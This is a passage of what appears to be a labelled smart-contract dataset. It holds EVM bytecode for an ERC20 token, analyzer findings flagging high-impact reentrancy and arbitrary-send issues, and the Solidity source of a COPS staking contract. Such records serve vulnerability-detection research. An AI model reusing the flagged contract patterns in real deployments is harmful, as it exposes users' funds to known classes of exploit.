96e91906134c2565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611a10929190613515565b6020604051808303816000875af1158015611a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a539190613553565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac6906135f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3690613684565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c1d9190612b46565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cce5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d245750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d2d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9490613716565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e04906137a8565b60405180910390fd5b60008111611e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e479061383a565b60405180910390fd5b6000611e5a610f49565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ec85750611e98610f49565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561247157600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f785750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fce5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561224857601060009054906101000a900460ff16612022576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612019906138a6565b60405180910390fd5b600f54421415612085576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600d548211156120ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c190613912565b60405180910390fd5b600e546120d684610caf565b836120e19190613932565b1115612122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612119906139fa565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166121fc5760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156122715750601060009054906101000a900460ff165b80156122cb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561247057600f426122dd9190613932565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235790613a8c565b60405180910390fd5b600061236b30610caf565b9050600081111561245157601060029054906101000a900460ff161561241e576064600c546123bb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610caf565b6123c59190613aac565b6123cf9190613b35565b81111561241d576064600c54612406600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610caf565b6124109190613aac565b61241a9190613b35565b90505b5b600060058261242d9190613b35565b9050808261243b919061313c565b91506124468161281b565b61244f826125a2565b505b600047905060008111156124695761246847612536565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125185750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561252257600090505b61252f858585848661286b565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561259e573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125da576125d9612e3b565b5b6040519080825280602002602001820160405280156126085781602001602082028036833780820191505090505b50905030816000815181106126205761261f613170565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126eb91906133bb565b816001815181106126ff576126fe613170565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061276630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a5f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127ca959493929190613c24565b600060405180830381600087803b1580156127e457600080fd5b505af11580156127f8573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6001601060016101000a81548160ff021916908315150217905550600081111561284d5761284c3061dead83611c2a565b5b6000601060016101000a81548160ff02191690831515021790555050565b6000612877838361288d565b9050612885868686846128bb565b505050505050565b6000806000905083156128b15782156128aa57600a5490506128b0565b600b5490505b5b8091505092915050565b6000806128c88484612a5e565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612917919061313c565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a59190613932565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129f181612a9c565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a4e9190612b46565b60405180910390a3505050505050565b600080600060648486612a719190613aac565b612a7b9190613b35565b905060008186612a8b919061313c565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae79190613932565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612b4081612b2d565b82525050565b6000602082019050612b5b6000830184612b37565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b9b578082015181840152602081019050612b80565b83811115612baa576000848401525b50505050565b6000601f19601f8301169050919050565b6000612bcc82612b61565b612bd68185612b6c565b9350612be6818560208601612b7d565b612bef81612bb0565b840191505092915050565b60006020820190508181036000830152612c148184612bc1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c5b82612c30565b9050919050565b612c6b81612c50565b8114612c7657600080fd5b50565b600081359050612c8881612c62565b92915050565b612c9781612b2d565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b60008060408385031215612cd157612cd0612c26565b5b6000612cdf85828601612c79565b9250506020612cf085828601612ca5565b9150509250929050565b60008115159050919050565b612d0f81612cfa565b82525050565b6000602082019050612d2a6000830184612d06565b92915050565b60008060408385031215612d4757612d46612c26565b5b6000612d5585828601612ca5565b9250506020612d6685828601612ca5565b9150509250929050565b6000612d7b82612c30565b9050919050565b612d8b81612d70565b82525050565b6000602082019050612da66000830184612d82565b92915050565b600080600060608486031215612dc557612dc4612c26565b5b6000612dd386828701612c79565b9350506020612de486828701612c79565b9250506040612df586828701612ca5565b9150509250925092565b600060ff82169050919050565b612e1581612dff565b82525050565b6000602082019050612e306000830184612e0c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e7382612bb0565b810181811067ffffffffffffffff82111715612e9257612e91612e3b565b5b80604052505050565b6000612ea5612c1c565b9050612eb18282612e6a565b919050565b600067ffffffffffffffff821115612ed157612ed0612e3b565b5b602082029050602081019050919050565b600080fd5b6000612efa612ef584612eb6565b612e9b565b90508083825260208201905060208402830185811115612f1d57612f1c612ee2565b5b835b81811015612f465780612f328882612c79565b845260208401935050602081019050612f1f565b5050509392505050565b600082601f830112612f6557612f64612e36565b5b8135612f75848260208601612ee7565b91505092915050565b600060208284031215612f9457612f93612c26565b5b600082013567ffffffffffffffff811115612fb257612fb1612c2b565b5b612fbe84828501612f50565b91505092915050565b600060208284031215612fdd57612fdc612c26565b5b6000612feb84828501612c79565b91505092915050565b60006020828403121561300a57613009612c26565b5b600061301884828501612ca5565b91505092915050565b61302a81612c50565b82525050565b60006020820190506130456000830184613021565b92915050565b61305481612cfa565b811461305f57600080fd5b50565b6000813590506130718161304b565b92915050565b60006020828403121561308d5761308c612c26565b5b600061309b84828501613062565b91505092915050565b600080604083850312156130bb576130ba612c26565b5b60006130c985828601612c79565b92505060206130da85828601612c79565b9150509250929050565b60006040820190506130f96000830185612b37565b6131066020830184612b37565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061314782612b2d565b915061315283612b2d565b9250828210156131655761316461310d565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006131aa82612b2d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131dd576131dc61310d565b5b600182019050919050565b7f63616e2774206265207a65726f00000000000000000000000000000000000000600082015250565b600061321e600d83612b6c565b9150613229826131e8565b602082019050919050565b6000602082019050818103600083015261324d81613211565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061328a602083612b6c565b915061329582613254565b602082019050919050565b600060208201905081810360008301526132b98161327d565b9050919050565b6000819050919050565b60006132e56132e06132db84612c30565b6132c0565b612c30565b9050919050565b60006132f7826132ca565b9050919050565b6000613309826132ec565b9050919050565b613319816132fe565b82525050565b60006020820190506133346000830184613310565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613370601783612b6c565b915061337b8261333a565b602082019050919050565b6000602082019050818103600083015261339f81613363565b9050919050565b6000815190506133b581612c62565b92915050565b6000602082840312156133d1576133d0612c26565b5b60006133df848285016133a6565b91505092915050565b60006040820190506133fd6000830185613021565b61340a6020830184613021565b9392505050565b6000819050919050565b600061343661343161342c84613411565b6132c0565b612b2d565b9050919050565b6134468161341b565b82525050565b600060c0820190506134616000830189613021565b61346e6020830188612b37565b61347b604083018761343d565b613488606083018661343d565b6134956080830185613021565b6134a260a0830184612b37565b979650505050505050565b6000815190506134bc81612c8e565b92915050565b6000806000606084860312156134db576134da612c26565b5b60006134e9868287016134ad565b93505060206134fa868287016134ad565b925050604061350b868287016134ad565b9150509250925092565b600060408201905061352a6000830185613021565b6135376020830184612b37565b9392505050565b60008151905061354d8161304b565b92915050565b60006020828403121561356957613568612c26565b5b60006135778482850161353e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135dc602483612b6c565b91506135e782613580565b604082019050919050565b6000602082019050818103600083015261360b816135cf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061366e602283612b6c565b915061367982613612565b604082019050919050565b6000602082019050818103600083015261369d81613661565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613700602583612b6c565b915061370b826136a4565b604082019050919050565b6000602082019050818103600083015261372f816136f3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613792602383612b6c565b915061379d82613736565b604082019050919050565b600060208201905081810360008301526137c181613785565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613824602983612b6c565b915061382f826137c8565b604082019050919050565b6000602082019050818103600083015261385381613817565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613890601883612b6c565b915061389b8261385a565b602082019050919050565b600060208201905081810360008301526138bf81613883565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b60006138fc601b83612b6c565b9150613907826138c6565b602082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b600061393d82612b2d565b915061394883612b2d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561397d5761397c61310d565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b60006139e4602783612b6c565b91506139ef82613988565b604082019050919050565b60006020820190508181036000830152613a13816139d7565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613a76602383612b6c565b9150613a8182613a1a565b604082019050919050565b60006020820190508181036000830152613aa581613a69565b9050919050565b6000613ab782612b2d565b9150613ac283612b2d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613afb57613afa61310d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b4082612b2d565b9150613b4b83612b2d565b925082613b5b57613b5a613b06565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b9b81612c50565b82525050565b6000613bad8383613b92565b60208301905092915050565b6000602082019050919050565b6000613bd182613b66565b613bdb8185613b71565b9350613be683613b82565b8060005b83811015613c17578151613bfe8882613ba1565b9750613c0983613bb9565b925050600181019050613bea565b5085935050505092915050565b600060a082019050613c396000830188612b37565b613c46602083018761343d565b8181036040830152613c588186613bc6565b9050613c676060830185613021565b613c746080830184612b37565b969550505050505056fea2646970667358221220613e4070aa9d51e410282d26d722b8c3f403f85b84196349f69e7b816d4693ae64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,879
0xf66e6aa9452c6e3ca7438be282a14adee0208413
/** *Submitted for verification at Etherscan.io on 2020-10-08 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract COPSstaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // cops token contract address address public constant tokenAddress = 0x14dFa5CfAaFe89d81d7bf3df4E11eaedA0416618; // reward rate 60.00% per year uint public constant rewardRate = 6000; uint public constant rewardInterval = 365 days; // staking fee 1 percent uint public constant stakingFeeRate = 100; // unstaking fee 0.25 percent uint public constant unstakingFeeRate = 25; // unstaking possible after 12 hours uint public constant cliffTime = 12 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) // Admin cannot transfer out COPS from this smart contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress, "Cannot Transfer Out COPS!"); Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610570578063d578ceab146105c8578063d816c7d5146105e6578063f2fde38b14610604578063f3f91fa0146106485761012c565b80638da5cb5b1461046457806398896d10146104985780639d76ea58146104f0578063b6b55f2514610524578063bec4de3f146105525761012c565b8063583d42fd116100f4578063583d42fd1461030a5780635ef057be146103625780636270cd18146103805780636a395ccb146103d85780637b0a47ee146104465761012c565b80630f1a6444146101315780631911cf4a1461014f57806319aa70e7146102b45780632e1a7d4d146102be578063308feec3146102ec575b600080fd5b6101396106a0565b6040518082815260200191505060405180910390f35b6101856004803603604081101561016557600080fd5b8101908080359060200190929190803590602001909291905050506106a6565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101d45780820151818401526020810190506101b9565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102165780820151818401526020810190506101fb565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561025857808201518184015260208101905061023d565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561029a57808201518184015260208101905061027f565b505050509050019850505050505050505060405180910390f35b6102bc6109bf565b005b6102ea600480360360208110156102d457600080fd5b81019080803590602001909291905050506109ca565b005b6102f4610f0e565b6040518082815260200191505060405180910390f35b61034c6004803603602081101561032057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b6040518082815260200191505060405180910390f35b61036a610f37565b6040518082815260200191505060405180910390f35b6103c26004803603602081101561039657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3c565b6040518082815260200191505060405180910390f35b610444600480360360608110156103ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f54565b005b61044e611114565b6040518082815260200191505060405180910390f35b61046c61111a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104da600480360360208110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113e565b6040518082815260200191505060405180910390f35b6104f86112ad565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105506004803603602081101561053a57600080fd5b81019080803590602001909291905050506112c5565b005b61055a611735565b6040518082815260200191505060405180910390f35b6105b26004803603602081101561058657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173d565b6040518082815260200191505060405180910390f35b6105d0611755565b6040518082815260200191505060405180910390f35b6105ee61175b565b6040518082815260200191505060405180910390f35b6106466004803603602081101561061a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611760565b005b61068a6004803603602081101561065e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118af565b6040518082815260200191505060405180910390f35b61a8c081565b6060806060808486106106b857600080fd5b60006106cd87876118c790919063ffffffff16565b905060608167ffffffffffffffff811180156106e857600080fd5b506040519080825280602002602001820160405280156107175781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561073357600080fd5b506040519080825280602002602001820160405280156107625781602001602082028036833780820191505090505b50905060608367ffffffffffffffff8111801561077e57600080fd5b506040519080825280602002602001820160405280156107ad5781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107c957600080fd5b506040519080825280602002602001820160405280156107f85781602001602082028036833780820191505090505b50905060008b90505b8a8110156109a457600061081f8260026118de90919063ffffffff16565b905060006108368e846118c790919063ffffffff16565b90508187828151811061084557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373f